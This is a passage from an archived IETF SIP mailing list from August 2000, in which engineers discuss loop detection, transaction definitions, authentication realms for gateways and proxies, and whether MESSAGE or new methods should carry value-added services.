X-Mailer: Mozilla 4.7C-CCK-MCD [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: sv,en-US MIME-Version: 1.0 To: Neil Deason <ndeason@ubiquity.net>, sip@lists.bell-labs.com Subject: Re: [SIP] more on Record-Route and Loop-Detection References: <001001c00dbb$6aea4f80$4e34c3c1@ubiquity.co.uk> <39A643FD.D73395B7@uab.ericsson.se> <39A684E5.45062079@ubiquity.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi Neil, Thank you for correcting the example from the typos I made and for pushing this discussion forwards. > Rather than just kick this around for a bit and drop it > without consensus it would be nice to reach closure. > > How about we just don't do loop detection > if there is a Route: to follow. Has anyone got a > good reason not to take this simple approach? Yes, that's what I have been trying to express in some of my previous postings to this discussion. But maybe it has been lost in all the typos I've made, and maybe also in my not-so-good english ;) The suggestion of not doing loop detection if there is a Route will probably solve that specific problem. Previously on this list there was a discussion on loops vs. spirals and then it was solved was making a cryptographic hash of Request-URI + call leg data when generating the branch value for the Via field and that approach solved that specific problem. But I believe, that the problem is of more general nature, and I think making "fixes" in the protocol such as the branch value solution for loops/spirals and this new solution with not doing loop detection if there is a Route, will add more complexity than needed and anyway not solve the general problem. The thing that needs to be recognized, or at least I think so (maybe it's wrong, just tell me so if it is) is that proxies (at least stateful ones) needs a concept of "transaction identifier", being the call leg + the requestURI, in order to be able to separate different transactions with the same call leg through the same proxy . One example of that is the spiral case. Another example is when you have a proxy, p1, forking a request to several different users at another proxy, p2. In p2, you will need to use the request- URI + the call leg to be able to separate the transactions. (p1 & p2 are stateful in this example). If this will be recognized, you may not need solutions like the branch value of today, like not doing loop detection when having Route, and similar. If you recognize this concept, and adapt what needs to be adapted to support it (for example not changing the request-URI when the called UA are creating the Route), I think you will end up with a more simple solution than the ones suggested today. Best Regards, Loita Jahnsson SIP SW Designer _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 04:39:09 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01207 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 04:39:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2C4C044338; Mon, 28 Aug 2000 04:39:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from beamer.mchh.siemens.de (beamer.mchh.siemens.de [194.138.158.163]) by lists.bell-labs.com (Postfix) with ESMTP id B78BC44336 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 04:39:01 -0400 (EDT) Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226]) by beamer.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id KAA12100 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 10:38:33 +0200 (MET DST) Received: from mchh246e.demchh201e.icn.siemens.de ([139.21.200.56]) by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id KAA19437 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 10:38:29 +0200 (MET DST) Received: by MCHH246E with Internet Mail Service (5.5.2650.21) id <Q7R5A78C>; Mon, 28 Aug 2000 10:38:57 +0200 Message-ID: <679076A067F2D211A8F70090274481B844E7D4@LNN201E> From: Blanchard Jacqueline <Jacqueline.Blanchard@SRIT.siemens.fr> To: sip@lists.bell-labs.com Date: Mon, 28 Aug 2000 10:33:04 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Subject: [SIP] Transaction definition Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Hi, Am I right if I consider that in case of an INVITE sent by a User Agent Client the transaction is from INVITE until ACK (instead of INVITE/200OK as defined in the RFC2543) ? Thanks, J. Blanchard _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:00:30 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19495 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:00:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1CDB844339; Mon, 28 Aug 2000 14:58:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 3BA2A44336 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 14:58:55 -0400 (EDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [171.71.147.106]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id KAA12661; Mon, 28 Aug 2000 10:16:36 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA25319; Mon, 28 Aug 2000 10:16:16 -0700 (PDT) From: Michael Thomas <mat@cisco.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14762.40544.289387.51619@thomasm-u1.cisco.com> Date: Mon, 28 Aug 2000 10:16:16 -0700 (PDT) To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Paul Krumviede <paul@mci.net>, Michael Thomas <mat@cisco.com>, Henning Schulzrinne <schulzrinne@cs.columbia.edu>, David Harris <dlharris@nortelnetworks.com>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication In-Reply-To: <39A9D4EF.BA761047@dynamicsoft.com> References: <843805530.967211447@sjo-dhcp0181.mcit.com> <39A9D4EF.BA761047@dynamicsoft.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan Rosenberg writes: > As with many of our security discussions, I think we've gotten a bit off > track. The problem is very spceific; does proxy (and UA) authentication > actually authenticate the originating device, or the user of that > device. Seems like there were valid reasons to authenticate the user and > the device for both proxy and regular (401) authentication. Henning's > example of trusting the caller-ID on the gateway is a good one. > > So, given that we need both, we have an ambiguity in the spec which we > must resolve. WHich one is implied by the current authentication > mechanisms (user, I would assume), and how would we specify that the > other is what is desired? Should we impose some structure on the ream to > indicate this, so that: > > realm="device:MyRealm" > > indicates that device authentication is desired for that specific realm? I don't think this is a good idea. If a SIP UA, say, gets challenged to authenticate in a particular realm, it should first check if it knows how to authenticate to that realm directly (ie, has the password, etc). If it does, then it provides the authentication proof. If it doesn't then it needs to pop it up to the user who initiated the call and they get to figure it out. As such, I see no motivation for drawing a distinction between "devices" and "users". What I think *is* clear is that an INVITE may traverse multiple different authentication challenge points. However this has nothing to do with a user/device false dichotomy. I, mat@cisco.com, may very well be challenged to enter an acct#/PIN for my Telephant.com (:-) calling card and then again challenged to listen to my SIP voice mailbox at cisco all in the same proxy-routed INVITE. This implies that you need to ship multiple credentials each time, but as far as I can tell, that's legal SIP. Mike _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:02:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19591 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:02:10 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 83B8A44341; Mon, 28 Aug 2000 15:01:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by lists.bell-labs.com (Postfix) with ESMTP id 30C6544336 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:01:30 -0400 (EDT) Received: from stanpc.research.telcordia.com (stanpc [192.4.12.105]) by breeze.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e7SJWbU07345; Mon, 28 Aug 2000 15:32:37 -0400 (EDT) Message-Id: <4.3.1.2.20000828152341.00bb97a0@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Mon, 28 Aug 2000 15:32:36 -0400 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> From: Stan Moyer <stanm@research.telcordia.com> Subject: Re: [SIP] value added services on SIP Cc: farhan <farhan@hotfoon.com>, sip@lists.bell-labs.com In-Reply-To: <39AAA0A3.EC145E7B@dynamicsoft.com> References: <003601c00f90$5f8c2060$cf15c5cb@bigboy> <4.3.1.2.20000828115055.00bc4cd0@mailee.research.telcordia.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Jonathan, At 01:25 PM 8/28/2000 -0400, Jonathan Rosenberg wrote: >Stan Moyer wrote: > > > > At 10:39 PM 8/27/2000 -0400, Jonathan Rosenberg wrote: > > >You are confusing protocol syntax with semantics. You are arguing to > > >reuse syntax to express NEW semantics. MESSAGE right now doesn't make > > >online payments, nor does it query presence or turn on the toaster. You > > >have just as much work to do to get sip to do online payments if you use > > >a new method or "reuse" an old one. > > > > Do you mean protocol semantics or application semantics? Because I do > > believe that the application semantics are different, but at the protocol > > level there is essentially no difference in semantics of MESSAGE for > > Instant Messaging or MESSAGE for online payments (or turning on a toaster) > > -- you're just sending a "payment" message to an application instead of a > > text message to a human user. > >As I have stated countless times now, I strongly disagree. I really >didn't want to make this an open invitation to reopen this debate, but, >since you insist... At this point we should probably agree to disagree. >Clearly, MESSAGE was a bad method name to use. MESSAGE does not mean >message in the RPC sense. It does not mean "take this and pass it up to >the application layer for processing". The protocol semantics of MESSAGE >are very clear and very simple: render this content for the purposes of >display to some user or their agent as part of a text based interactive >conversation. That is simply not the same as make an online transaction. We'll just have to disagree on this point (especially on the importance of a human user participating -- I believe most applications are "agents" for users). >Let me put it this way - do you argue we should ditch INVITE? Isn't that >just a message to the other side with some content that describes a >session? Are you proposing we deprecate INVITE and use MESSAGE for that >too? No I'm not!! > > > > Also, I think it is less work to re-use an old method than to create a new > > one. > >Oh? > > > If you re-use an existing method you can use existing SIP Proxies and > > UA stacks you only need to modify the application(s) to handle different > > payload types. > >Wrong. > >Proxies are supposed to forward method independent. Ours does. Any proxy >that doesn't is defective and you should send it back. Then I think we'll be sending a lot back :-) >As for UA stacks, they should also have a means to support unknown >methods. Ours does; you can register handlers for any method name. Same >reason a stack should support unknown body types. Why is it more likely >one is supported as opposed to the other? I agree that they should have means for supporting unknown methods, but I don't think I can count on all implementations being as good as yours. In the context of SIP for Appliances I would enjoy setting up a meeting with you and other interested parties to discuss the best way to use SIP (e.g., new methods or re-use of existing methods -- though I know your position on that, but I'm sure there are other issues). -Stan _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:04:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19677 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:04:57 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 70B4A4434C; Mon, 28 Aug 2000 15:02:13 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by lists.bell-labs.com (Postfix) with ESMTP id 018D644336 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:02:01 -0400 (EDT) Received: from stanpc.research.telcordia.com (stanpc [192.4.12.105]) by breeze.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e7SFtJU21713; Mon, 28 Aug 2000 11:55:19 -0400 (EDT) Message-Id: <4.3.1.2.20000828115055.00bc4cd0@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Mon, 28 Aug 2000 11:55:18 -0400 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, farhan <farhan@hotfoon.com> From: Stan Moyer <stanm@research.telcordia.com> Subject: Re: [SIP] value added services on SIP Cc: sip@lists.bell-labs.com In-Reply-To: <39A9D0CA.95CA0D41@dynamicsoft.com> References: <003601c00f90$5f8c2060$cf15c5cb@bigboy> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com At 10:39 PM 8/27/2000 -0400, Jonathan Rosenberg wrote: >You are confusing protocol syntax with semantics. You are arguing to >reuse syntax to express NEW semantics. MESSAGE right now doesn't make >online payments, nor does it query presence or turn on the toaster. You >have just as much work to do to get sip to do online payments if you use >a new method or "reuse" an old one. Do you mean protocol semantics or application semantics? Because I do believe that the application semantics are different, but at the protocol level there is essentially no difference in semantics of MESSAGE for Instant Messaging or MESSAGE for online payments (or turning on a toaster) -- you're just sending a "payment" message to an application instead of a text message to a human user. Also, I think it is less work to re-use an old method than to create a new one. If you re-use an existing method you can use existing SIP Proxies and UA stacks you only need to modify the application(s) to handle different payload types. Stan Moyer Director, Internet Services Infrastructure Research <stanm@research.telcordia.com>; Telcordia Technologies, MCC-1A238R, 445 South Street, Morristown, NJ 07960-6438 voice: +1 973 829 4923; fax: +1 973 829 5889 http://www.argreenhouse.com/bios/stanm/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:14:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19790 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:14:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 530B144365; Mon, 28 Aug 2000 15:03:25 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 48D0944336 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:03:17 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id NAA04217; Mon, 28 Aug 2000 13:28:53 -0400 (EDT) Message-ID: <39AAA0A3.EC145E7B@dynamicsoft.com> Date: Mon, 28 Aug 2000 13:25:55 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Stan Moyer <stanm@research.telcordia.com> Cc: farhan <farhan@hotfoon.com>, sip@lists.bell-labs.com Subject: Re: [SIP] value added services on SIP References: <003601c00f90$5f8c2060$cf15c5cb@bigboy> <4.3.1.2.20000828115055.00bc4cd0@mailee.research.telcordia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Stan Moyer wrote: > > At 10:39 PM 8/27/2000 -0400, Jonathan Rosenberg wrote: > >You are confusing protocol syntax with semantics. You are arguing to > >reuse syntax to express NEW semantics. MESSAGE right now doesn't make > >online payments, nor does it query presence or turn on the toaster. You > >have just as much work to do to get sip to do online payments if you use > >a new method or "reuse" an old one. > > Do you mean protocol semantics or application semantics? Because I do > believe that the application semantics are different, but at the protocol > level there is essentially no difference in semantics of MESSAGE for > Instant Messaging or MESSAGE for online payments (or turning on a toaster) > -- you're just sending a "payment" message to an application instead of a > text message to a human user. As I have stated countless times now, I strongly disagree. I really didn't want to make this an open invitation to reopen this debate, but, since you insist... Clearly, MESSAGE was a bad method name to use. MESSAGE does not mean message in the RPC sense. It does not mean "take this and pass it up to the application layer for processing". The protocol semantics of MESSAGE are very clear and very simple: render this content for the purposes of display to some user or their agent as part of a text based interactive conversation. That is simply not the same as make an online transaction. Let me put it this way - do you argue we should ditch INVITE? Isn't that just a message to the other side with some content that describes a session? Are you proposing we deprecate INVITE and use MESSAGE for that too? > > Also, I think it is less work to re-use an old method than to create a new > one. Oh? > If you re-use an existing method you can use existing SIP Proxies and > UA stacks you only need to modify the application(s) to handle different > payload types. Wrong. Proxies are supposed to forward method independent. Ours does. Any proxy that doesn't is defective and you should send it back. As for UA stacks, they should also have a means to support unknown methods. Ours does; you can register handlers for any method name. Same reason a stack should support unknown body types. Why is it more likely one is supported as opposed to the other? -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:20:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19902 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:20:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 41F6344376; Mon, 28 Aug 2000 15:03:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id CEBC244354 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:03:19 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id JAA01809; Mon, 28 Aug 2000 09:38:49 -0400 (EDT) Message-ID: <39AA6AB9.74EA44C6@dynamicsoft.com> Date: Mon, 28 Aug 2000 09:35:53 -0400 From: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Blanchard Jacqueline <Jacqueline.Blanchard@SRIT.siemens.fr> Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Transaction definition References: <679076A067F2D211A8F70090274481B844E7D4@LNN201E> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Blanchard Jacqueline wrote: > > Hi, > > Am I right if I consider that in case of an INVITE sent by a User Agent Client > the transaction is from INVITE until ACK (instead of INVITE/200OK as defined > in the RFC2543) ? I would say yes. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:26:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA19990 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:26:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 42D6344368; Mon, 28 Aug 2000 15:03:50 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hd2.dot.net.in (hd2.vsnl.net.in [202.54.30.2]) by lists.bell-labs.com (Postfix) with ESMTP id 003B644357 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:03:19 -0400 (EDT) Received: from bigboy ([202.54.68.135]) by hd2.dot.net.in (8.8.8/8.8.8) with SMTP id AAA20505 for <sip@lists.bell-labs.com>; Tue, 29 Aug 2000 00:50:30 +0530 (IST) Message-ID: <004f01c01125$c2c7a5a0$874436ca@bigboy> Reply-To: "farhan" <farhan@hotfoon.com> From: "farhan" <farhan@hotfoon.com> To: "sip" <sip@lists.bell-labs.com> Date: Tue, 29 Aug 2000 00:55:42 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Subject: [SIP] syntax .. a clarification Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit rosenberg wrote - >Let me put it this way - do you argue we should ditch INVITE? Isn't that >just a message to the other side with some content that describes a >session? Are you proposing we deprecate INVITE and use MESSAGE for that >too? we cannot trash the INVITE method because the INVITE is a three way handshake (much like the TCP) that is essential for a complete, reliable session intiation as opposed to MESSAGE which doesnt require any further handshake from the other side. Nor can we trash BYE and CANCEL. They all have different effects on the sip stack's state itself. While MESSAGE, NOTIFY, SUBSCRIBE, etc. have essential the same effect. >Proxies are supposed to forward method independent. Ours does. Any proxy >that doesn't is defective and you should send it back. A proxy has to be aware of the nature of the method. An INVITE will fork, an ACK will not. A single NOTIFY to a proxy can be forwarded to multiple SUBSCRIBErs, an MESSAGE is unicasted. Thus, each method needs its own special processing (if the proxy is anything over a trivial implementation). maybe i haven't been able to articulate myself well enough, what i am saying it that we should try building over and outside the sip stack instead of building it within. i am essentially asking for a freeze on the number of request methods. this is important to keep the stack size down and managable. the example of using MESSAGE to querying for presence wasn't correct. Let me give a better example: "A service on the net wherein you can make a sip call, enter your PIN and listen to any updates on your stock portfolio on your computer." This can be accomplished using Authorisation schemes to login to the stock quotes server (because the UAS will challenge the UAC), then the UAS sends a MESSAGE to UAC asking for the PIN. On receiving the PIN, in another message, the UAS starts streaming the stock market commentary to the UAC. What I am arguing is that the sipstack itself does not need to be aware of the nature of service it is being used for. It is easy to build this service such that it doesn't need a specialised UAC either. That is extremely important. If you look at the issue from an end-user perspective, a single universal client should be able to handle all types of realtime session services through a simple common protocol. I can't imagine that being anything other than SIP. When we do speak of a general purpose user agent, then it should have a well defined number of methods that can handle a large amount innovative services developed over the SIP stack. If we insist that different users download a whole lot of different versions of SIP UACs for different applications, it will be like having a different web browser for every site. Thus, I am arguing that a web browser is not aware of how google.com works. similarly, a SIP UAC need not be bothered about what the UAS is all about. Although it is not directly related to SIP in itself, there is an issue of the presentation layer too: It is an important goal that through a generic UAC much like the email UAC, we are able to initiate any multimedia session that the user is capable of handling (has the codecs, bandwidth and processing power). For this, it is essential that a UAC understands and implements the SIP protocol largley and not minimally. the application level intelligence for SIP sessions should be handled between the user agents themselves. on a personal note, I am trying to develop very small footprint SIP stacks. It is also important for developers like me and biggs that the sip stack be prevented from growing so big that we will realistically miss out on large chunks of functionality. the large size of vovida stack is an indicator of the way implementations are going. By keeping the SIP stack small, I am not saying that we will put it on pin heads! we will be able to spread it to more desktops faster (I can send you a small sip client in email!) or make it downloadable on the web within seconds. These are important goals for fast, viral spread of SIP. They also need a small, compact and functionaly complete SIP stack that doesn't have to be upgraded (I can't change my ipphones as often as I can change my browsers). SIP stack is going to a lot of inaccessible places that may not be upgradable. SIP stack is also going to places that need exteremly reliable performance (like wireless ip telephony base stations) - it will be very expensive to re-implement and test and re-deploy newer and ever expanding versions of SIP. - farhan hotfoon.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:29:25 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA20044 for <sip-archive@odin.ietf.org>; Mon, 28 Aug 2000 16:29:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1C4D244389; Mon, 28 Aug 2000 15:06:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id F12A244348 for <sip@lists.bell-labs.com>; Mon, 28 Aug 2000 15:06:15 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id PAA24238; Mon, 28 Aug 2000 15:54:36 -0400 (EDT) Message-ID: <39AAC59E.5022DAD8@cs.columbia.edu> Date: Mon, 28 Aug 2000 16:03:42 -0400 From: Henning Schulzrinne <schulzrinne@cs.columbia.edu> X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Rosenberg <jdrosen@dynamicsoft.com> Cc: Paul Krumviede <paul@mci.net>, Michael Thomas <mat@cisco.com>, David Harris <dlharris@nortelnetworks.com>, sip <sip@lists.bell-labs.com> Subject: Re: [SIP] Re: SIP gateways and authentication References: <843805530.967211447@sjo-dhcp0181.mcit.com> <39A9D4EF.BA761047@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List <sip.lists.bell-labs.com> X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I'll repeat my question, since the answer matters greatly: are you talking about Basic/Digest or PGP authentication? Since that's what's implemented, I'm assuming Basic/Digest for now. With Basic/Digest, it only matters what name(s) and associated secrets the receiving proxy recognizes. If it recognizs gateway:spoiled-milk for all request-URIs, that's fine, but it's not clear what establishing a canonical user name, realm or password accomplishes. In any event, the secret has to be hard-configured for each gateway. For the proxy and UA case, sip:1234@proxy.com ...realm="foo" and sip:456@proxy.com ...realm="foo" are different protection spaces. As a guide to implementors, it may be useful to indicate that if you don't care about different authentications for different request-URIs, it makes sense to establish a "global" user name/password/realm that's the default challenge if a particular user name doesn't have its own realm or set of user names. Similarly, gateways may want to try their global user name and secret when challenged. Jonathan Rosenberg wrote: > > (trimming sip-implementors from the cc list) > > As with many of our security discussions, I think we've gotten a bit off > track. The problem is very spceific; does proxy (and UA) authentication > actually authenticate the originating device, or the user of that > device. Seems like there were valid reasons to authenticate the user and > the device for both proxy and regular (401) authentication. Henning's > example of trusting the caller-ID on the gateway is a good one. I don't think this phrasing helps. Basic/Digest authentication assures, for a particular request-URI on that proxy, that the requestor has one of possibly several valid name/secret combination. If the proxy or UA allows the same user for all request-URIs, it's effectively an authentication for the 'device'. (This assumes, for example, that the per-number cgi scripts running on the server are trustworthy. With basic authentication, a script could easily get the secret and then create a fake call for any phone number on that server.) > > So, given that we need both, we have an ambiguity in the spec which we > must resolve. WHich one is implied by the current authentication > mechanisms (user, I would assume), and how would we specify that the > other is what is desired? Should we impose some structure on the ream to > indicate this, so that: > > realm="device:MyRealm" > > indicates that device authentication is desired for that specific realm? > > -Jonathan R. > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 28 16:34:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com 